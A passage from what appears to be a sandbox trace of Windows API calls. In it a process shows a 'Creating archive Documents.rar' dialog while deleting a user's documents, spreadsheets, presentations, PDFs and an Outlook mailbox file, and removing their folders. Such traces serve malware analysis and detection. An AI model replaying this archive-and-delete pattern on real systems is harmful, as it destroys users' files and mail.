lpMsg=0x141a0dd790, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd790) returned 1 [0087.672] GetMessageW (in: lpMsg=0x141a0dd720, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x141a0dd720) returned 1 [0087.672] GetFocus () returned 0x1031c [0087.672] IsDialogMessageW (hDlg=0x102f8, lpMsg=0x141a0dd720) returned 1 [0087.672] DeleteFileW (lpFileName="vZ5hUHAIiw4NGepftsf.docx" (normalized: "c:\\users\\fd1hvy\\documents\\vz5huhaiiw4ngepftsf.docx")) returned 1 [0087.673] GetWindowTextW (in: hWnd=0x102f8, lpString=0x141a0dbb50, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0087.673] GetDlgItem (hDlg=0x102f8, nIDDlgItem=156) returned 0x102fe [0087.673] GetWindowTextW (in: hWnd=0x102fe, lpString=0x141a0da700, nMaxCount=2560 | out: lpString="") returned 0 [0087.673] SetWindowTextW (hWnd=0x102fe, lpString="Deleting") returned 1 [0087.674] GetDlgItem (hDlg=0x102f8, nIDDlgItem=155) returned 0x10300 [0087.674] GetWindowTextW (in: hWnd=0x10300, lpString=0x141a0da700, nMaxCount=2560 | out: lpString="") returned 0 [0087.674] SetWindowTextW (hWnd=0x10300, lpString="vZ5hUHAIiw4NGepftsf.docx") returned 1 [0087.674] GetTickCount () returned 0x2bb18 [0087.674] GetDlgItem (hDlg=0x102f8, nIDDlgItem=156) returned 0x102fe [0087.674] GetWindowTextW (in: hWnd=0x102fe, lpString=0x141a0dc3b0, nMaxCount=2560 | out: lpString="Deleting") returned 8 [0087.674] SetWindowTextW (hWnd=0x102fe, lpString="") returned 1 [0087.675] GetDlgItem (hDlg=0x102f8, nIDDlgItem=155) returned 0x10300 [0087.675] GetWindowTextW (in: hWnd=0x10300, lpString=0x141a0dc3b0, nMaxCount=2560 | out: lpString="vZ5hUHAIiw4NGepftsf.docx") returned 24 [0087.675] SetWindowTextW (hWnd=0x10300, lpString="") returned 1 [0087.675] GetTickCount () returned 0x2bb18 [0087.675] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd700 | out: lpPerformanceCount=0x141a0dd700*=17900365671) returned 1 [0087.675] GetTickCount () returned 0x2bb18 [0087.675] GetTickCount () returned 0x2bb18 [0087.675] PeekMessageW (in: lpMsg=0x141a0dd790, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd790) returned 1 [0087.675] GetMessageW (in: lpMsg=0x141a0dd720, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x141a0dd720) returned 1 [0087.675] GetFocus () returned 0x1031c [0087.675] IsDialogMessageW (hDlg=0x102f8, lpMsg=0x141a0dd720) returned 1 [0087.676] DeleteFileW (lpFileName="Vtgh45Nfdq0.pptx" (normalized: "c:\\users\\fd1hvy\\documents\\vtgh45nfdq0.pptx")) returned 1 [0087.717] GetWindowTextW (in: hWnd=0x102f8, lpString=0x141a0dbb50, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0087.717] GetDlgItem (hDlg=0x102f8, nIDDlgItem=156) returned 0x102fe [0087.717] GetWindowTextW (in: hWnd=0x102fe, lpString=0x141a0da700, nMaxCount=2560 | out: lpString="") returned 0 [0087.718] SetWindowTextW (hWnd=0x102fe, lpString="Deleting") returned 1 [0087.718] GetDlgItem (hDlg=0x102f8, nIDDlgItem=155) returned 0x10300 [0087.718] GetWindowTextW (in: hWnd=0x10300, lpString=0x141a0da700, nMaxCount=2560 | out: lpString="") returned 0 [0087.718] SetWindowTextW (hWnd=0x10300, lpString="Vtgh45Nfdq0.pptx") returned 1 [0087.719] GetTickCount () returned 0x2bb47 [0087.719] GetDlgItem (hDlg=0x102f8, nIDDlgItem=156) returned 0x102fe [0087.719] GetWindowTextW (in: hWnd=0x102fe, lpString=0x141a0dc3b0, nMaxCount=2560 | out: lpString="Deleting") returned 8 [0087.719] SetWindowTextW (hWnd=0x102fe, lpString="") returned 1 [0087.719] GetDlgItem (hDlg=0x102f8, nIDDlgItem=155) returned 0x10300 [0087.719] GetWindowTextW (in: hWnd=0x10300, lpString=0x141a0dc3b0, nMaxCount=2560 | out: lpString="Vtgh45Nfdq0.pptx") returned 16 [0087.719] SetWindowTextW (hWnd=0x10300, lpString="") returned 1 [0087.719] GetTickCount () returned 0x2bb47 [0087.719] GetLastError () returned 0x0 [0087.719] SetLastError (dwErrCode=0x0) [0087.719] GetDlgItem (hDlg=0x102f8, nIDDlgItem=158) returned 0x10304 [0087.719] GetDlgItem (hDlg=0x102f8, nIDDlgItem=153) returned 0x10302 [0087.720] GetWindowTextW (in: hWnd=0x10302, lpString=0x141a0dbe80, nMaxCount=2560 | out: lpString=" 1%") returned 5 [0087.720] SetWindowTextW (hWnd=0x10302, lpString=" 5%") returned 1 [0087.720] SendMessageW (hWnd=0x10304, Msg=0x402, wParam=0x5, lParam=0x0) returned 0x1 [0087.720] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd700 | out: lpPerformanceCount=0x141a0dd700*=17904867157) returned 1 [0087.720] GetTickCount () returned 0x2bb47 [0087.720] GetTickCount () returned 0x2bb47 [0087.720] PeekMessageW (in: lpMsg=0x141a0dd790, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd790) returned 1 [0087.720] GetMessageW (in: lpMsg=0x141a0dd720, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x141a0dd720) returned 1 [0087.720] GetFocus () returned 0x1031c [0087.720] IsDialogMessageW (hDlg=0x102f8, lpMsg=0x141a0dd720) returned 1 [0087.720] DeleteFileW (lpFileName="uGw1_n9EtC7y-G8.xlsx" (normalized: "c:\\users\\fd1hvy\\documents\\ugw1_n9etc7y-g8.xlsx")) returned 1 [0087.728] GetWindowTextW (in: hWnd=0x102f8, lpString=0x141a0dbb50, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0087.728] GetDlgItem (hDlg=0x102f8, nIDDlgItem=156) returned 0x102fe [0087.728] GetWindowTextW (in: hWnd=0x102fe, lpString=0x141a0da700, nMaxCount=2560 | out: lpString="") returned 0 [0087.728] SetWindowTextW (hWnd=0x102fe, lpString="Deleting") returned 1 [0087.729] GetDlgItem (hDlg=0x102f8, nIDDlgItem=155) returned 0x10300 [0087.729] GetWindowTextW (in: hWnd=0x10300, lpString=0x141a0da700, nMaxCount=2560 | out: lpString="") returned 0 [0087.729] SetWindowTextW (hWnd=0x10300, lpString="uGw1_n9EtC7y-G8.xlsx") returned 1 [0087.729] GetTickCount () returned 0x2bb57 [0087.729] GetDlgItem (hDlg=0x102f8, nIDDlgItem=156) returned 0x102fe [0087.729] GetWindowTextW (in: hWnd=0x102fe, lpString=0x141a0dc3b0, nMaxCount=2560 | out: lpString="Deleting") returned 8 [0087.729] SetWindowTextW (hWnd=0x102fe, lpString="") returned 1 [0087.730] GetDlgItem (hDlg=0x102f8, nIDDlgItem=155) returned 0x10300 [0087.730] GetWindowTextW (in: hWnd=0x10300, lpString=0x141a0dc3b0, nMaxCount=2560 | out: lpString="uGw1_n9EtC7y-G8.xlsx") returned 20 [0087.730] SetWindowTextW (hWnd=0x10300, lpString="") returned 1 [0087.730] GetTickCount () returned 0x2bb57 [0087.730] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd700 | out: lpPerformanceCount=0x141a0dd700*=17905861202) returned 1 [0087.730] GetTickCount () returned 0x2bb57 [0087.730] GetTickCount () returned 0x2bb57 [0087.730] PeekMessageW (in: lpMsg=0x141a0dd790, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd790) returned 1 [0087.730] GetMessageW (in: lpMsg=0x141a0dd720, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x141a0dd720) returned 1 [0087.730] GetFocus () returned 0x1031c [0087.730] IsDialogMessageW (hDlg=0x102f8, lpMsg=0x141a0dd720) returned 1 [0087.731] DeleteFileW (lpFileName="rhEg_RUaix7K66ZWCFGd.xlsx" (normalized: "c:\\users\\fd1hvy\\documents\\rheg_ruaix7k66zwcfgd.xlsx")) returned 1 [0087.735] GetWindowTextW (in: hWnd=0x102f8, lpString=0x141a0dbb50, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0087.735] GetDlgItem (hDlg=0x102f8, nIDDlgItem=156) returned 0x102fe [0087.735] GetWindowTextW (in: hWnd=0x102fe, lpString=0x141a0da700, nMaxCount=2560 | out: lpString="") returned 0 [0087.735] SetWindowTextW (hWnd=0x102fe, lpString="Deleting") returned 1 [0087.736] GetDlgItem (hDlg=0x102f8, nIDDlgItem=155) returned 0x10300 [0087.736] GetWindowTextW (in: hWnd=0x10300, lpString=0x141a0da700, nMaxCount=2560 | out: lpString="") returned 0 [0087.736] SetWindowTextW (hWnd=0x10300, lpString="rhEg_RUaix7K66ZWCFGd.xlsx") returned 1 [0087.736] GetTickCount () returned 0x2bb57 [0087.736] GetDlgItem (hDlg=0x102f8, nIDDlgItem=156) returned 0x102fe [0087.736] GetWindowTextW (in: hWnd=0x102fe, lpString=0x141a0dc3b0, nMaxCount=2560 | out: lpString="Deleting") returned 8 [0087.736] SetWindowTextW (hWnd=0x102fe, lpString="") returned 1 [0087.737] GetDlgItem (hDlg=0x102f8, nIDDlgItem=155) returned 0x10300 [0087.737] GetWindowTextW (in: hWnd=0x10300, lpString=0x141a0dc3b0, nMaxCount=2560 | out: lpString="rhEg_RUaix7K66ZWCFGd.xlsx") returned 25 [0087.737] SetWindowTextW (hWnd=0x10300, lpString="") returned 1 [0087.737] GetTickCount () returned 0x2bb57 [0087.737] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd700 | out: lpPerformanceCount=0x141a0dd700*=17906562083) returned 1 [0087.737] GetTickCount () returned 0x2bb57 [0087.737] GetTickCount () returned 0x2bb57 [0087.737] PeekMessageW (in: lpMsg=0x141a0dd790, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd790) returned 1 [0087.737] GetMessageW (in: lpMsg=0x141a0dd720, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x141a0dd720) returned 1 [0087.737] GetFocus () returned 0x1031c [0087.737] IsDialogMessageW (hDlg=0x102f8, lpMsg=0x141a0dd720) returned 1 [0087.737] DeleteFileW (lpFileName="qBs_.docx" (normalized: "c:\\users\\fd1hvy\\documents\\qbs_.docx")) returned 1 [0087.738] GetWindowTextW (in: hWnd=0x102f8, lpString=0x141a0dbb50, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0087.739] GetDlgItem (hDlg=0x102f8, nIDDlgItem=156) returned 0x102fe [0087.739] GetWindowTextW (in: hWnd=0x102fe, lpString=0x141a0da700, nMaxCount=2560 | out: lpString="") returned 0 [0087.739] SetWindowTextW (hWnd=0x102fe, lpString="Deleting") returned 1 [0087.739] GetDlgItem (hDlg=0x102f8, nIDDlgItem=155) returned 0x10300 [0087.739] GetWindowTextW (in: hWnd=0x10300, lpString=0x141a0da700, nMaxCount=2560 | out: lpString="") returned 0 [0087.739] SetWindowTextW (hWnd=0x10300, lpString="qBs_.docx") returned 1 [0087.739] GetTickCount () returned 0x2bb57 [0087.739] GetDlgItem (hDlg=0x102f8, nIDDlgItem=156) returned 0x102fe [0087.739] GetWindowTextW (in: hWnd=0x102fe, lpString=0x141a0dc3b0, nMaxCount=2560 | out: lpString="Deleting") returned 8 [0087.739] SetWindowTextW (hWnd=0x102fe, lpString="") returned 1 [0087.740] GetDlgItem (hDlg=0x102f8, nIDDlgItem=155) returned 0x10300 [0087.740] GetWindowTextW (in: hWnd=0x10300, lpString=0x141a0dc3b0, nMaxCount=2560 | out: lpString="qBs_.docx") returned 9 [0087.740] SetWindowTextW (hWnd=0x10300, lpString="") returned 1 [0087.740] GetTickCount () returned 0x2bb57 [0087.740] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd700 | out: lpPerformanceCount=0x141a0dd700*=17906874778) returned 1 [0087.740] GetTickCount () returned 0x2bb57 [0087.740] GetTickCount () returned 0x2bb57 [0087.740] PeekMessageW (in: lpMsg=0x141a0dd790, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd790) returned 1 [0087.740] GetMessageW (in: lpMsg=0x141a0dd720, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x141a0dd720) returned 1 [0087.740] GetFocus () returned 0x1031c [0087.740] IsDialogMessageW (hDlg=0x102f8, lpMsg=0x141a0dd720) returned 1 [0087.740] DeleteFileW (lpFileName="Outlook Files\\kkcie@kdj.kd.pst" (normalized: "c:\\users\\fd1hvy\\documents\\outlook files\\kkcie@kdj.kd.pst")) returned 1 [0087.744] GetWindowTextW (in: hWnd=0x102f8, lpString=0x141a0dbb50, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0087.744] GetDlgItem (hDlg=0x102f8, nIDDlgItem=156) returned 0x102fe [0087.744] GetWindowTextW (in: hWnd=0x102fe, lpString=0x141a0da700, nMaxCount=2560 | out: lpString="") returned 0 [0087.744] SetWindowTextW (hWnd=0x102fe, lpString="Deleting") returned 1 [0087.744] GetDlgItem (hDlg=0x102f8, nIDDlgItem=155) returned 0x10300 [0087.744] GetWindowTextW (in: hWnd=0x10300, lpString=0x141a0da700, nMaxCount=2560 | out: lpString="") returned 0 [0087.744] SetWindowTextW (hWnd=0x10300, lpString="kkcie@kdj.kd.pst") returned 1 [0087.745] GetTickCount () returned 0x2bb66 [0087.745] GetDlgItem (hDlg=0x102f8, nIDDlgItem=156) returned 0x102fe [0087.745] GetWindowTextW (in: hWnd=0x102fe, lpString=0x141a0dc3b0, nMaxCount=2560 | out: lpString="Deleting") returned 8 [0087.745] SetWindowTextW (hWnd=0x102fe, lpString="") returned 1 [0087.745] GetDlgItem (hDlg=0x102f8, nIDDlgItem=155) returned 0x10300 [0087.745] GetWindowTextW (in: hWnd=0x10300, lpString=0x141a0dc3b0, nMaxCount=2560 | out: lpString="kkcie@kdj.kd.pst") returned 16 [0087.745] SetWindowTextW (hWnd=0x10300, lpString="") returned 1 [0087.745] GetTickCount () returned 0x2bb66 [0087.745] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd700 | out: lpPerformanceCount=0x141a0dd700*=17907403320) returned 1 [0087.745] GetTickCount () returned 0x2bb66 [0087.745] GetTickCount () returned 0x2bb66 [0087.745] PeekMessageW (in: lpMsg=0x141a0dd790, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd790) returned 1 [0087.746] GetMessageW (in: lpMsg=0x141a0dd720, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x141a0dd720) returned 1 [0087.746] GetFocus () returned 0x1031c [0087.746] IsDialogMessageW (hDlg=0x102f8, lpMsg=0x141a0dd720) returned 1 [0087.747] RemoveDirectoryW (lpPathName="Outlook Files" (normalized: "c:\\users\\fd1hvy\\documents\\outlook files")) returned 1 [0087.747] GetWindowTextW (in: hWnd=0x102f8, lpString=0x141a0dbb50, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0087.747] GetDlgItem (hDlg=0x102f8, nIDDlgItem=156) returned 0x102fe [0087.747] GetWindowTextW (in: hWnd=0x102fe, lpString=0x141a0da700, nMaxCount=2560 | out: lpString="") returned 0 [0087.747] SetWindowTextW (hWnd=0x102fe, lpString="Deleting") returned 1 [0087.747] GetDlgItem (hDlg=0x102f8, nIDDlgItem=155) returned 0x10300 [0087.747] GetWindowTextW (in: hWnd=0x10300, lpString=0x141a0da700, nMaxCount=2560 | out: lpString="") returned 0 [0087.747] SetWindowTextW (hWnd=0x10300, lpString="Outlook Files") returned 1 [0087.748] GetTickCount () returned 0x2bb66 [0087.748] GetDlgItem (hDlg=0x102f8, nIDDlgItem=156) returned 0x102fe [0087.748] GetWindowTextW (in: hWnd=0x102fe, lpString=0x141a0dc3b0, nMaxCount=2560 | out: lpString="Deleting") returned 8 [0087.748] SetWindowTextW (hWnd=0x102fe, lpString="") returned 1 [0087.748] GetDlgItem (hDlg=0x102f8, nIDDlgItem=155) returned 0x10300 [0087.748] GetWindowTextW (in: hWnd=0x10300, lpString=0x141a0dc3b0, nMaxCount=2560 | out: lpString="Outlook Files") returned 13 [0087.748] SetWindowTextW (hWnd=0x10300, lpString="") returned 1 [0087.749] GetTickCount () returned 0x2bb66 [0087.749] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd700 | out: lpPerformanceCount=0x141a0dd700*=17907740271) returned 1 [0087.749] GetTickCount () returned 0x2bb66 [0087.749] GetTickCount () returned 0x2bb66 [0087.749] PeekMessageW (in: lpMsg=0x141a0dd790, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd790) returned 1 [0087.749] GetMessageW (in: lpMsg=0x141a0dd720, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x141a0dd720) returned 1 [0087.749] GetFocus () returned 0x1031c [0087.749] IsDialogMessageW (hDlg=0x102f8, lpMsg=0x141a0dd720) returned 1 [0087.749] PeekMessageW (in: lpMsg=0x141a0dd7f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd7f0) returned 0 [0087.749] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0087.749] DeleteFileW (lpFileName="nt5k6gcCx.pdf" (normalized: "c:\\users\\fd1hvy\\documents\\nt5k6gccx.pdf")) returned 1 [0087.753] GetWindowTextW (in: hWnd=0x102f8, lpString=0x141a0dbb50, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0087.753] GetDlgItem (hDlg=0x102f8, nIDDlgItem=156) returned 0x102fe [0087.753] GetWindowTextW (in: hWnd=0x102fe, lpString=0x141a0da700, nMaxCount=2560 | out: lpString="") returned 0 [0087.753] SetWindowTextW (hWnd=0x102fe, lpString="Deleting") returned 1 [0087.754] GetDlgItem (hDlg=0x102f8, nIDDlgItem=155) returned 0x10300 [0087.754] GetWindowTextW (in: hWnd=0x10300, lpString=0x141a0da700, nMaxCount=2560 | out: lpString="") returned 0 [0087.754] SetWindowTextW (hWnd=0x10300, lpString="nt5k6gcCx.pdf") returned 1 [0087.754] GetTickCount () returned 0x2bb66 [0087.754] GetDlgItem (hDlg=0x102f8, nIDDlgItem=156) returned 0x102fe [0087.754] GetWindowTextW (in: hWnd=0x102fe, lpString=0x141a0dc3b0, nMaxCount=2560 | out: lpString="Deleting") returned 8 [0087.754] SetWindowTextW (hWnd=0x102fe, lpString="") returned 1 [0087.755] GetDlgItem (hDlg=0x102f8, nIDDlgItem=155) returned 0x10300 [0087.755] GetWindowTextW (in: hWnd=0x10300, lpString=0x141a0dc3b0, nMaxCount=2560 | out: lpString="nt5k6gcCx.pdf") returned 13 [0087.755] SetWindowTextW (hWnd=0x10300, lpString="") returned 1 [0087.755] GetTickCount () returned 0x2bb66 [0087.755] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd700 | out: lpPerformanceCount=0x141a0dd700*=17908353731) returned 1 [0087.755] GetTickCount () returned 0x2bb66 [0087.755] GetTickCount () returned 0x2bb66 [0087.755] PeekMessageW (in: lpMsg=0x141a0dd790, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd790) returned 0 [0087.755] DeleteFileW (lpFileName="NdfE2nFSq.xlsx" (normalized: "c:\\users\\fd1hvy\\documents\\ndfe2nfsq.xlsx")) returned 1 [0087.764] GetWindowTextW (in: hWnd=0x102f8, lpString=0x141a0dbb50, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0087.764] GetDlgItem (hDlg=0x102f8, nIDDlgItem=156) returned 0x102fe [0087.764] GetWindowTextW (in: hWnd=0x102fe, lpString=0x141a0da700, nMaxCount=2560 | out: lpString="") returned 0 [0087.764] SetWindowTextW (hWnd=0x102fe, lpString="Deleting") returned 1 [0087.765] GetDlgItem (hDlg=0x102f8, nIDDlgItem=155) returned 0x10300 [0087.765] GetWindowTextW (in: hWnd=0x10300, lpString=0x141a0da700, nMaxCount=2560 | out: lpString="") returned 0 [0087.765] SetWindowTextW (hWnd=0x10300, lpString="NdfE2nFSq.xlsx") returned 1 [0087.765] GetTickCount () returned 0x2bb76 [0087.765] UpdateWindow (hWnd=0x102f8) returned 1 [0087.765] GetDlgItem (hDlg=0x102f8, nIDDlgItem=156) returned 0x102fe [0087.765] GetWindowTextW (in: hWnd=0x102fe, lpString=0x141a0dc3b0, nMaxCount=2560 | out: lpString="Deleting") returned 8 [0087.765] SetWindowTextW (hWnd=0x102fe, lpString="") returned 1 [0087.766] GetDlgItem (hDlg=0x102f8, nIDDlgItem=155) returned 0x10300 [0087.766] GetWindowTextW (in: hWnd=0x10300, lpString=0x141a0dc3b0, nMaxCount=2560 | out: lpString="NdfE2nFSq.xlsx") returned 14 [0087.766] SetWindowTextW (hWnd=0x10300, lpString="") returned 1 [0087.766] GetTickCount () returned 0x2bb76 [0087.766] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd700 | out: lpPerformanceCount=0x141a0dd700*=17909464018) returned 1 [0087.766] GetTickCount () returned 0x2bb76 [0087.766] GetTickCount () returned 0x2bb76 [0087.766] PeekMessageW (in: lpMsg=0x141a0dd790, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd790) returned 0 [0087.766] DeleteFileW (lpFileName="MZgybshM.pptx" (normalized: "c:\\users\\fd1hvy\\documents\\mzgybshm.pptx")) returned 1 [0087.767] GetWindowTextW (in: hWnd=0x102f8, lpString=0x141a0dbb50, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0087.767] GetDlgItem (hDlg=0x102f8, nIDDlgItem=156) returned 0x102fe [0087.767] GetWindowTextW (in: hWnd=0x102fe, lpString=0x141a0da700, nMaxCount=2560 | out: lpString="") returned 0 [0087.767] SetWindowTextW (hWnd=0x102fe, lpString="Deleting") returned 1 [0087.768] GetDlgItem (hDlg=0x102f8, nIDDlgItem=155) returned 0x10300 [0087.768] GetWindowTextW (in: hWnd=0x10300, lpString=0x141a0da700, nMaxCount=2560 | out: lpString="") returned 0 [0087.768] SetWindowTextW (hWnd=0x10300, lpString="MZgybshM.pptx") returned 1 [0087.768] GetTickCount () returned 0x2bb76 [0087.768] GetDlgItem (hDlg=0x102f8, nIDDlgItem=156) returned 0x102fe [0087.768] GetWindowTextW (in: hWnd=0x102fe, lpString=0x141a0dc3b0, nMaxCount=2560 | out: lpString="Deleting") returned 8 [0087.768] SetWindowTextW (hWnd=0x102fe, lpString="") returned 1 [0087.769] GetDlgItem (hDlg=0x102f8, nIDDlgItem=155) returned 0x10300 [0087.769] GetWindowTextW (in: hWnd=0x10300, lpString=0x141a0dc3b0, nMaxCount=2560 | out: lpString="MZgybshM.pptx") returned 13 [0087.769] SetWindowTextW (hWnd=0x10300, lpString="") returned 1 [0087.769] GetTickCount () returned 0x2bb76 [0087.769] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd700 | out: lpPerformanceCount=0x141a0dd700*=17909764005) returned 1 [0087.769] GetTickCount () returned 0x2bb76 [0087.769] GetTickCount () returned 0x2bb76 [0087.769] PeekMessageW (in: lpMsg=0x141a0dd790, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd790) returned 0 [0087.769] SetFileAttributesW (lpFileName="My Videos", dwFileAttributes=0x0) returned 1 [0087.769] RemoveDirectoryW (lpPathName="My Videos" (normalized: "c:\\users\\fd1hvy\\documents\\my videos")) returned 1 [0087.770] GetWindowTextW (in: hWnd=0x102f8, lpString=0x141a0dbb50, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0087.770] GetDlgItem (hDlg=0x102f8, nIDDlgItem=156) returned 0x102fe [0087.770] GetWindowTextW (in: hWnd=0x102fe, lpString=0x141a0da700, nMaxCount=2560 | out: lpString="") returned 0 [0087.770] SetWindowTextW (hWnd=0x102fe, lpString="Deleting") returned 1 [0087.771] GetDlgItem (hDlg=0x102f8, nIDDlgItem=155) returned 0x10300 [0087.771] GetWindowTextW (in: hWnd=0x10300, lpString=0x141a0da700, nMaxCount=2560 | out: lpString="") returned 0 [0087.771] SetWindowTextW (hWnd=0x10300, lpString="My Videos") returned 1 [0087.771] GetTickCount () returned 0x2bb76 [0087.771] GetDlgItem (hDlg=0x102f8, nIDDlgItem=156) returned 0x102fe [0087.771] GetWindowTextW (in: hWnd=0x102fe, lpString=0x141a0dc3b0, nMaxCount=2560 | out: lpString="Deleting") returned 8 [0087.771] SetWindowTextW (hWnd=0x102fe, lpString="") returned 1 [0087.772] GetDlgItem (hDlg=0x102f8, nIDDlgItem=155) returned 0x10300 [0087.772] GetWindowTextW (in: hWnd=0x10300, lpString=0x141a0dc3b0, nMaxCount=2560 | out: lpString="My Videos") returned 9 [0087.772] SetWindowTextW (hWnd=0x10300, lpString="") returned 1 [0087.772] GetTickCount () returned 0x2bb76 [0087.830] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd700 | out: lpPerformanceCount=0x141a0dd700*=17915905047) returned 1 [0087.830] GetTickCount () returned 0x2bbb5 [0087.831] GetTickCount () returned 0x2bbb5 [0087.831] PeekMessageW (in: lpMsg=0x141a0dd790, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd790) returned 1 [0087.831] GetMessageW (in: lpMsg=0x141a0dd720, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x141a0dd720) returned 1 [0087.831] GetFocus () returned 0x1031c [0087.831] IsDialogMessageW (hDlg=0x102f8, lpMsg=0x141a0dd720) returned 1 [0087.831] SetFileAttributesW (lpFileName="My Shapes\\_private\\folder.ico", dwFileAttributes=0x0) returned 1 [0087.831] DeleteFileW (lpFileName="My Shapes\\_private\\folder.ico" (normalized: "c:\\users\\fd1hvy\\documents\\my shapes\\_private\\folder.ico")) returned 1 [0087.832] GetWindowTextW (in: hWnd=0x102f8, lpString=0x141a0dbb50, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0087.832] GetDlgItem (hDlg=0x102f8, nIDDlgItem=156) returned 0x102fe [0087.832] GetWindowTextW (in: hWnd=0x102fe, lpString=0x141a0da700, nMaxCount=2560 | out: lpString="") returned 0 [0087.832] SetWindowTextW (hWnd=0x102fe, lpString="Deleting") returned 1 [0087.833] GetDlgItem (hDlg=0x102f8, nIDDlgItem=155) returned 0x10300 [0087.833] GetWindowTextW (in: hWnd=0x10300, lpString=0x141a0da700, nMaxCount=2560 | out: lpString="") returned 0 [0087.833] SetWindowTextW (hWnd=0x10300, lpString="folder.ico") returned 1 [0087.833] GetTickCount () returned 0x2bbb5 [0087.833] GetDlgItem (hDlg=0x102f8, nIDDlgItem=156) returned 0x102fe [0087.833] GetWindowTextW (in: hWnd=0x102fe, lpString=0x141a0dc3b0, nMaxCount=2560 | out: lpString="Deleting") returned 8 [0087.833] SetWindowTextW (hWnd=0x102fe, lpString="") returned 1 [0087.834] GetDlgItem (hDlg=0x102f8, nIDDlgItem=155) returned 0x10300 [0087.834] GetWindowTextW (in: hWnd=0x10300, lpString=0x141a0dc3b0, nMaxCount=2560 | out: lpString="folder.ico") returned 10 [0087.834] SetWindowTextW (hWnd=0x10300, lpString="") returned 1 [0087.834] GetTickCount () returned 0x2bbb5 [0087.834] GetLastError () returned 0x0 [0087.834] SetLastError (dwErrCode=0x0) [0087.834] GetDlgItem (hDlg=0x102f8, nIDDlgItem=158) returned 0x10304 [0087.834] GetDlgItem (hDlg=0x102f8, nIDDlgItem=153) returned 0x10302 [0087.834] GetWindowTextW (in: hWnd=0x10302, lpString=0x141a0dbe80, nMaxCount=2560 | out: lpString=" 5%") returned 5 [0087.834] SetWindowTextW (hWnd=0x10302, lpString=" 18%") returned 1 [0087.835] SendMessageW (hWnd=0x10304, Msg=0x402, wParam=0x12, lParam=0x0) returned 0x5 [0087.836] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd700 | out: lpPerformanceCount=0x141a0dd700*=17916437164) returned 1 [0087.836] GetTickCount () returned 0x2bbc4 [0087.836] GetTickCount () returned 0x2bbc4 [0087.836] PeekMessageW (in: lpMsg=0x141a0dd790, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd790) returned 1 [0087.836] GetMessageW (in: lpMsg=0x141a0dd720, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x141a0dd720) returned 1 [0087.836] GetFocus () returned 0x1031c [0087.836] IsDialogMessageW (hDlg=0x102f8, lpMsg=0x141a0dd720) returned 1 [0087.837] SetFileAttributesW (lpFileName="My Shapes\\_private", dwFileAttributes=0x0) returned 1 [0087.837] RemoveDirectoryW (lpPathName="My Shapes\\_private" (normalized: 